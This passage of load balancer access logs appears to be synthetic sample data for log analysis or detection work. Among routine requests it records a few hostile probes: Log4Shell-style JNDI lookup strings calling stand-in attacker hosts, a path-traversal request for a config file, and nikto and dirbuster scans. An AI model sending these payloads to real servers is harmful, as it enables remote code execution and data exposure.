200 200 157 14490 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7e9-033c728b0c254431887ea74f" "prod-api-alb.example.com" "-" 3 2024-11-01T02:18:01.724384Z "forward" "-" "-" "10.0.126.63:443" "200" "-" "-" +https 2024-11-01T02:18:02.943241Z staging-alb 197.7.30.215:24535 239.96.35.209:8080 0.037176 0.275826 0.082696 200 200 492 5043 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d7ea-2c0ba97bbd0540a58ad8d3c8" "staging-alb.example.com" "-" 4 2024-11-01T02:18:02.943241Z "forward" "-" "-" "239.96.35.209:8080" "200" "-" "-" +http 2024-11-01T02:18:03.306409Z staging-alb 250.44.220.61:52157 245.245.121.201:80 0.131628 0.474759 0.031358 301 301 764 10873 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d7eb-c61e4f279a384e89baa67e76" "staging-alb.example.com" "-" 3 2024-11-01T02:18:03.306409Z "forward" "-" "-" "245.245.121.201:80" "301" "-" "-" +https 2024-11-01T02:18:03.747670Z staging-alb 117.170.30.226:15993 173.230.66.227:443 0.021988 0.575666 0.096493 200 200 490 12581 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7eb-993d14d5631f4c0aa0cfd2b3" "staging-alb.example.com" "-" 1 2024-11-01T02:18:03.747670Z "forward" "-" "-" "173.230.66.227:443" "200" "-" "-" +http 2024-11-01T02:18:05.576800Z staging-alb 118.158.111.232:21789 26.247.85.229:80 0.071155 0.656422 0.110441 404 404 538 3302 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7ed-f05bd5d312914d2ea77c1f72" "staging-alb.example.com" "-" 4 2024-11-01T02:18:05.576800Z "forward" "-" "-" "26.247.85.229:80" "404" "-" "-" +https 2024-11-01T02:18:07.436974Z prod-api-alb 179.254.235.8:30919 10.0.188.44:443 0.062145 0.132301 0.063207 302 302 717 5473 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7ef-d517510ee36545fd9ae5c9e9" "-" "-" 6 2024-11-01T02:18:07.436974Z "forward" "-" "-" "10.0.188.44:443" "302" "-" "-" +http 2024-11-01T02:18:07.698972Z staging-alb 193.27.228.118:27217 178.165.157.241:443 0.040059 0.107446 0.100215 404 404 532 11699 "POST /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d7ef-bdb1e9cae13b4284905c8856" "-" "-" 10 2024-11-01T02:18:07.698972Z "forward" "-" "-" "178.165.157.241:443" "404" "-" "-" +https 2024-11-01T02:18:08.622191Z prod-api-alb 220.47.205.238:21222 10.0.161.123:443 0.086299 0.047008 0.014413 200 200 467 10284 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7f0-9804993138624bb8ac0ae98f" "prod-api-alb.example.com" "-" 4 2024-11-01T02:18:08.622191Z "forward" "-" "-" "10.0.161.123:443" "200" "-" "-" +http 2024-11-01T02:18:08.866006Z staging-alb 162.5.250.236:18226 216.227.253.181:8080 0.075472 0.690684 0.044996 200 200 659 1376 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d7f0-0b763df48ec0499894cae3b6" "staging-alb.example.com" "-" 5 2024-11-01T02:18:08.866006Z "forward" "-" "-" "216.227.253.181:8080" "200" "-" "-" +https 2024-11-01T02:18:10.465149Z prod-web-alb 134.123.122.64:54098 10.0.51.172:443 0.079819 0.068270 0.034168 200 200 110 13522 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7f2-e40dc779487e44a8b92881dc" "prod-web-alb.example.com" "-" 1 2024-11-01T02:18:10.465149Z "forward" "-" "-" "10.0.51.172:443" "200" "-" "-" +https 2024-11-01T02:18:12.096332Z prod-api-alb 181.57.229.252:60946 10.0.187.151:443 0.045026 0.144181 0.085446 200 200 347 12260 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7f4-c6e9d114858f412b9ac1343a" "prod-api-alb.example.com" "-" 0 2024-11-01T02:18:12.096332Z "forward" "-" "-" "10.0.187.151:443" "200" "-" "-" +https 2024-11-01T02:18:14.036327Z prod-web-alb 183.151.20.195:14018 10.0.139.13:443 0.020067 0.284403 0.001592 200 200 252 3846 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d7f6-aa82011136f649b080c232e1" "prod-web-alb.example.com" "-" 1 2024-11-01T02:18:14.036327Z "forward" "-" "-" "10.0.139.13:443" "200" "-" "-" +http 2024-11-01T02:18:15.214519Z staging-alb 43.224.2.226:46879 17.27.88.172:8080 0.103722 0.183584 0.143294 200 200 26 14143 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7f7-1af3c14270cc4115b378777c" "-" "-" 2 2024-11-01T02:18:15.214519Z "forward" "-" "-" "17.27.88.172:8080" "200" "-" "-" +https 2024-11-01T02:18:16.143142Z prod-web-alb 47.176.175.179:41863 10.0.13.14:443 0.012811 0.361788 0.092566 200 200 319 1074 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d7f8-54bc18f6c37249a1bdd8bfe7" "prod-web-alb.example.com" "-" 6 2024-11-01T02:18:16.143142Z "forward" "-" "-" "10.0.13.14:443" "200" "-" "-" +http 2024-11-01T02:18:17.332425Z staging-alb 187.107.179.241:56633 165.154.107.211:80 0.027752 0.254519 0.129908 200 200 866 2180 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7f9-062dc260984b4c3380da89c4" "staging-alb.example.com" "-" 8 2024-11-01T02:18:17.332425Z "forward" "-" "-" "165.154.107.211:80" "200" "-" "-" +https 2024-11-01T02:18:17.466668Z prod-web-alb 236.243.7.244:36112 10.0.63.100:443 0.095446 0.196852 0.090717 302 302 173 6673 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7f9-bc1ab33b312d460dac172212" "prod-web-alb.example.com" "-" 3 2024-11-01T02:18:17.466668Z "forward" "-" "-" "10.0.63.100:443" "302" "-" "-" +https 2024-11-01T02:18:19.067324Z prod-api-alb 19.32.9.186:32033 10.0.220.200:443 0.058382 0.424767 0.070004 404 404 859 10633 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7fb-3a23a30869914b0083ca4224" "prod-api-alb.example.com" "-" 2 2024-11-01T02:18:19.067324Z "forward" "-" "-" "10.0.220.200:443" "404" "-" "-" +https 2024-11-01T02:18:20.145082Z prod-api-alb 59.212.105.188:13067 10.0.2.23:443 0.034523 0.105050 0.061737 200 200 441 5479 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7fc-4da7b34119174232a1d56504" "prod-api-alb.example.com" "-" 9 2024-11-01T02:18:20.145082Z "forward" "-" "-" "10.0.2.23:443" "200" "-" "-" +http 2024-11-01T02:18:21.456580Z staging-alb 45.155.205.44:53611 31.71.248.10:443 0.013116 0.047411 0.142959 500 500 754 10371 "GET /debug/pprof HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d7fd-beefe619a49a47448ea4ba59" "-" "-" 4 2024-11-01T02:18:21.456580Z "forward" "-" "-" "31.71.248.10:443" "500" "-" "-" +https 2024-11-01T02:18:22.132037Z prod-api-alb 19.242.179.175:17949 10.0.169.184:443 0.099902 0.364927 0.031073 200 200 386 7337 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7fe-474e3e378c724f1fba7c6842" "prod-api-alb.example.com" "-" 10 2024-11-01T02:18:22.132037Z "forward" "-" "-" "10.0.169.184:443" "200" "-" "-" +http 2024-11-01T02:18:23.884502Z staging-alb 205.194.38.169:58723 18.118.128.180:8080 0.015854 0.238514 0.045153 200 200 37 447 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d7ff-698115a06b404987817ce02a" "staging-alb.example.com" "-" 1 2024-11-01T02:18:23.884502Z "forward" "-" "-" "18.118.128.180:8080" "200" "-" "-" +http 2024-11-01T02:18:25.221029Z staging-alb 97.75.28.154:60713 73.158.250.252:80 0.082426 0.168923 0.077709 302 302 847 8714 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d801-263fcab3b75f489388a130ae" "staging-alb.example.com" "-" 9 2024-11-01T02:18:25.221029Z "forward" "-" "-" "73.158.250.252:80" "302" "-" "-" +https 2024-11-01T02:18:26.151310Z prod-web-alb 216.182.163.152:46781 10.0.40.227:443 0.049055 0.247133 0.084578 404 404 704 8648 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d802-ca2a54f8e5504e78ace491ca" "prod-web-alb.example.com" "-" 7 2024-11-01T02:18:26.151310Z "forward" "-" "-" "10.0.40.227:443" "404" "-" "-" +https 2024-11-01T02:18:26.614896Z prod-api-alb 42.35.146.145:19971 10.0.225.177:443 0.099240 0.192749 0.034128 404 404 127 13456 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d802-70fcfce8a74f4626bfd8b5c7" "prod-api-alb.example.com" "-" 6 2024-11-01T02:18:26.614896Z "forward" "-" "-" "10.0.225.177:443" "404" "-" "-" +https 2024-11-01T02:18:27.367272Z prod-api-alb 45.155.205.86:40473 10.0.21.118:443 0.005678 0.206046 0.084385 403 403 927 1869 "GET /api/../../../config HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d803-25ee7630503746e5a2f768d4" "-" "-" 9 2024-11-01T02:18:27.367272Z "forward" "-" "-" "10.0.21.118:443" "403" "-" "-" +https 2024-11-01T02:18:27.604907Z prod-api-alb 7.6.188.53:50000 10.0.205.179:443 0.004808 0.266592 0.065373 302 302 995 13660 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d803-fcefafdfb87e461faf17ae37" "prod-api-alb.example.com" "-" 8 2024-11-01T02:18:27.604907Z "forward" "-" "-" "10.0.205.179:443" "302" "-" "-" +https 2024-11-01T02:18:28.141769Z prod-web-alb 160.77.108.69:54764 10.0.93.212:443 0.059066 0.059670 0.073773 200 200 390 14807 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d804-1567fb72b8f947fea65e3b71" "prod-web-alb.example.com" "-" 0 2024-11-01T02:18:28.141769Z "forward" "-" "-" "10.0.93.212:443" "200" "-" "-" +https 2024-11-01T02:18:29.360503Z prod-web-alb 166.124.145.123:52923 10.0.79.202:443 0.032318 0.390002 0.067841 200 200 538 10805 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d805-c4fceb2df6c34159af4a7720" "prod-web-alb.example.com" "-" 3 2024-11-01T02:18:29.360503Z "forward" "-" "-" "10.0.79.202:443" "200" "-" "-" +http 2024-11-01T02:18:30.663730Z staging-alb 80.118.70.7:27222 227.15.229.217:80 0.112161 0.495042 0.148383 301 301 453 390 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d806-fc366ea833044a4b9f4a406f" "staging-alb.example.com" "-" 10 2024-11-01T02:18:30.663730Z "forward" "-" "-" "227.15.229.217:80" "301" "-" "-" +https 2024-11-01T02:18:32.026283Z prod-api-alb 204.24.28.211:23930 10.0.183.143:443 0.011249 0.363899 0.085041 200 200 90 6707 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d808-d6cb63175c634e7b9b4bb23e" "prod-api-alb.example.com" "-" 3 2024-11-01T02:18:32.026283Z "forward" "-" "-" "10.0.183.143:443" "200" "-" "-" +https 2024-11-01T02:18:32.745507Z staging-alb 127.125.148.183:35773 35.90.159.243:80 0.136388 0.105038 0.031013 200 200 239 9771 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d808-e643c9e00f9f4d4ba80787a6" "staging-alb.example.com" "-" 0 2024-11-01T02:18:32.745507Z "forward" "-" "-" "35.90.159.243:80" "200" "-" "-" +https 2024-11-01T02:18:33.945679Z staging-alb 225.167.245.164:32864 4.17.252.119:443 0.049899 0.533512 0.039194 301 301 400 3969 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d809-167098025dab4eb6b7930fd8" "staging-alb.example.com" "-" 9 2024-11-01T02:18:33.945679Z "forward" "-" "-" "4.17.252.119:443" "301" "-" "-" +https 2024-11-01T02:18:35.926465Z staging-alb 19.83.208.3:47128 169.209.97.44:443 0.094354 0.104977 0.017114 200 200 780 13493 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d80b-bf73004fd5a547008f9dc5eb" "staging-alb.example.com" "-" 7 2024-11-01T02:18:35.926465Z "forward" "-" "-" "169.209.97.44:443" "200" "-" "-" +http 2024-11-01T02:18:36.298628Z staging-alb 45.155.205.234:44847 231.141.0.1:443 0.014861 0.272314 0.036659 403 403 114 4668 "GET /?x=${jndi:ldap://attack.com/exp} HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d80c-47d3cbe79a0141cb857c4355" "-" "-" 9 2024-11-01T02:18:36.298628Z "forward" "-" "-" "231.141.0.1:443" "403" "-" "-" +https 2024-11-01T02:18:38.226521Z staging-alb 107.232.255.20:43565 187.114.16.111:80 0.088188 0.599091 0.111774 302 302 383 10348 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d80e-f2ceec1501974f6086132cf7" "staging-alb.example.com" "-" 8 2024-11-01T02:18:38.226521Z "forward" "-" "-" "187.114.16.111:80" "302" "-" "-" +http 2024-11-01T02:18:38.345675Z staging-alb 111.115.113.28:29152 87.180.128.164:443 0.134848 0.496769 0.143408 302 302 264 3944 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d80e-e117f78a32db404b8fbbd355" "staging-alb.example.com" "-" 2 2024-11-01T02:18:38.345675Z "forward" "-" "-" "87.180.128.164:443" "302" "-" "-" +https 2024-11-01T02:18:38.823726Z prod-api-alb 65.139.205.184:15261 10.0.74.72:443 0.093387 0.160217 0.031237 302 302 613 13268 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d80e-5ae1ddc8677a40c89be186c7" "prod-api-alb.example.com" "-" 2 2024-11-01T02:18:38.823726Z "forward" "-" "-" "10.0.74.72:443" "302" "-" "-" +https 2024-11-01T02:18:40.473073Z staging-alb 131.204.244.247:52773 206.38.14.146:80 0.149372 0.542619 0.047421 200 200 832 13899 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d810-bef4d0b3fb014b0d9baf91c8" "staging-alb.example.com" "-" 6 2024-11-01T02:18:40.473073Z "forward" "-" "-" "206.38.14.146:80" "200" "-" "-" +https 2024-11-01T02:18:42.251267Z prod-api-alb 33.80.57.93:20533 10.0.88.44:443 0.098242 0.024811 0.031652 302 302 823 14027 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d812-ad97932b6ee6486e8c1fb456" "prod-api-alb.example.com" "-" 10 2024-11-01T02:18:42.251267Z "forward" "-" "-" "10.0.88.44:443" "302" "-" "-" +https 2024-11-01T02:18:42.944991Z prod-web-alb 204.206.160.132:22191 10.0.128.69:443 0.026305 0.197092 0.075662 200 200 278 8500 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d812-566a5a2c32794bd58339c3d4" "prod-web-alb.example.com" "-" 2 2024-11-01T02:18:42.944991Z "forward" "-" "-" "10.0.128.69:443" "200" "-" "-" +https 2024-11-01T02:18:44.902002Z prod-api-alb 36.27.236.239:55876 10.0.31.68:443 0.009991 0.413384 0.086253 200 200 567 11268 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d814-746fd229bc0642ba89aeabe7" "prod-api-alb.example.com" "-" 1 2024-11-01T02:18:44.902002Z "forward" "-" "-" "10.0.31.68:443" "200" "-" "-" +http 2024-11-01T02:18:46.653167Z staging-alb 45.199.247.89:35255 185.226.185.89:80 0.061809 0.471568 0.056583 200 200 342 9000 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d816-d32b721f87f346d4a72136f7" "staging-alb.example.com" "-" 0 2024-11-01T02:18:46.653167Z "forward" "-" "-" "185.226.185.89:80" "200" "-" "-" +https 2024-11-01T02:18:48.192145Z prod-web-alb 93.52.211.13:30722 10.0.164.186:443 0.007892 0.398699 0.032891 404 404 403 11271 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d818-8056e14b06884fdc91f1d9e6" "prod-web-alb.example.com" "-" 3 2024-11-01T02:18:48.192145Z "forward" "-" "-" "10.0.164.186:443" "404" "-" "-" +https 2024-11-01T02:18:48.551358Z prod-web-alb 11.27.4.212:40946 10.0.170.124:443 0.076188 0.248922 0.069269 404 404 887 2136 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d818-e575b627a4b34ea594a3954b" "prod-web-alb.example.com" "-" 8 2024-11-01T02:18:48.551358Z "forward" "-" "-" "10.0.170.124:443" "404" "-" "-" +http 2024-11-01T02:18:50.500718Z staging-alb 66.178.253.166:21855 1.32.222.43:8080 0.088819 0.085012 0.042998 200 200 82 10829 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d81a-37b34a237e9842aba71b2e97" "staging-alb.example.com" "-" 4 2024-11-01T02:18:50.500718Z "forward" "-" "-" "1.32.222.43:8080" "200" "-" "-" +http 2024-11-01T02:18:51.855011Z staging-alb 49.91.160.42:40504 49.84.30.119:443 0.047861 0.306111 0.049017 301 301 551 2300 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d81b-9e6153efc78a46dda3516878" "staging-alb.example.com" "-" 7 2024-11-01T02:18:51.855011Z "forward" "-" "-" "49.84.30.119:443" "301" "-" "-" +https 2024-11-01T02:18:52.139460Z prod-api-alb 62.130.10.248:35978 10.0.196.138:443 0.080184 0.164396 0.010201 200 200 340 2368 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d81c-1b48960c7c4941008162b283" "prod-api-alb.example.com" "-" 10 2024-11-01T02:18:52.139460Z "forward" "-" "-" "10.0.196.138:443" "200" "-" "-" +https 2024-11-01T02:18:53.022978Z prod-web-alb 40.175.95.69:19938 10.0.119.149:443 0.043765 0.079969 0.039247 200 200 240 14329 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 